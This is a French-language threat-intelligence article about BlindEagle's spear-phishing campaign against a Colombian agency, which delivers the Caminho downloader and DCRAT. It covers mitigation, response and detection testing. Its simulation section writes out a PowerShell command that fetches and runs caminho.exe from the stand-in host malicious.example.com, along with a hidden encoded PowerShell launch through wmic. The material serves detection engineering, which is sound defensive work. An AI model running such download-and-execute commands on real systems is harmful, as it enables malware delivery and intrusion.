BlindEagle Cible une Agence Gouvernementale Colombienne avec Caminho et DCRAT

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Suivre
BlindEagle Cible une Agence Gouvernementale Colombienne avec Caminho et DCRAT
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Résumé

BlindEagle a mené une opération de spear-phishing ciblant une agence gouvernementale colombienne, livrant une pièce jointe SVG armée qui a initié une chaîne d’exécution JavaScript-PowerShell. Cette séquence a téléchargé un téléchargeur surnommé Caminho, qui a ensuite récupéré le cheval de Troie d’accès à distance DCRAT open-source hébergé sur Discord. La phase finale a utilisé le hollowing de processus dans MSBuild.exe et appliqué plusieurs méthodes d’évasion pour réduire la détection.

Enquête

Zscaler ThreatLabz a analysé le flux d’infection et a signalé une approche de soustraction de SVG, plusieurs niveaux de JavaScript obscurcis, une commande PowerShell déclenchée par WMI et la livraison de Caminho par une URL hébergée sur Discord. L’enquête a également associé l’infrastructure de support à des adresses IP suédoises et à un fournisseur DNS dynamique (ydns.eu).

Atténuation

Appliquez des contrôles plus stricts pour les pièces jointes des emails entrants, surtout pour le contenu SVG, et imposez le désarmement/inspection du contenu pour les scripts intégrés. Utilisez des politiques de proxy web pour restreindre l’accès aux points d’hébergement de fichiers suspects, y compris les URL de fichiers Discord utilisées pour la livraison de malwares. Surveillez les modèles d’exécution inhabituels de PowerShell et de WMI, et appliquez des politiques de liste blanche d’applications couvrant l’utilisation de MSBuild.exe.

Réponse

Réponse

Déclenchez des alertes pour l’artéfact SVG malveillant, le nom de fichier JavaScript référencé, et les téléchargements atteignant l’URL Discord. Recherchez dans la mémoire ou sur le disque les traces de Caminho et DCRAT, des preuves de hollowing de processus MSBuild.exe, et de la persistance via des changements dans le registre ou des tâches planifiées. Mettez en quarantaine les points de terminaison impactés et bloquez le domaine C2 identifié.

Flux d’Attaque

Exécution de Simulation

Prérequis : Le précontrôle de télémétrie et référence doit avoir été passé.

Rationnel : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et visent à générer la télémétrie exacte attendue par la logique de détection.

  • Récit et Commandes d’Attaque :
    L’acteur de menace (BlindEagle) utilise WMI pour lancer un processus PowerShell qui télécharge la charge utile « Caminho » depuis un serveur C2 distant et l’exécute en mémoire. En utilisant wmic.exe avec la méthode create de l'appel de processus , l’attaquant peut exécuter PowerShell sans interagir avec une session utilisateur, rendant l’activité furtive. La ligne de commande contient le mot littéral “powershell”, ce qui satisfait la condition de la règle de détection.

    1. Étape 1 – Préparez la commande PowerShell malveillante en une seule ligne :

      $url = "http://malicious.example.com/caminho.exe"
      $out = "$env:TEMPcaminho.exe"
      Invoke-WebRequest -Uri $url -OutFile $out; PowerShell -ExecutionPolicy Bypass -File $out
    2. Étape 2 – Exécuter via WMI :

      $psCmd = 'powershell -nop -w hidden -enc <base64-encoded-payload>'
      wmic process call create "$psCmd"

    La présence de powershell dans le champ CommandLine de l’événement Sysmon 1 généré par le processus enfant wmic déclenchera la règle.

  • Script de Test de Régression :

    # Simulation PowerShell via WMI de BlindEagle
    # ----------------------------------------------------------------------
    # 1. Définir la charge utile malveillante (pour le test, nous utilisons une commande echo bénigne)
    $payload = 'Write-Host "Exécution simulée de Caminho"'
    $encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload))
    
    # 2. Construire la ligne de commande PowerShell qui inclut le mot "powershell" littéral
    $psCommand = "powershell -NoProfile -EncodedCommand $encoded"
    
    # 3. Lancer la commande via WMI (wmic) pour générer un EventID Sysmon 1
    $wmicCommand = "wmic process call create `"$psCommand`""
    Write-Host "Exécution via WMI : $wmicCommand"
    Invoke-Expression $wmicCommand
    
    # 4. Optionnel : Journaux à la console pour vérification
    Write-Host "Simulation terminée. Vérifiez la détection dans le SIEM."
  • Commandes de Nettoyage :

    # Supprimer tous les fichiers temporaires (aucun créé dans cette simulation)
    # Terminer tous les processus wmic ou PowerShell persistants lancés pour le test
    Get-Process -Name wmic, powershell -ErrorAction SilentlyContinue | Stop-Process -Force
    Write-Host "Nettoyage terminé."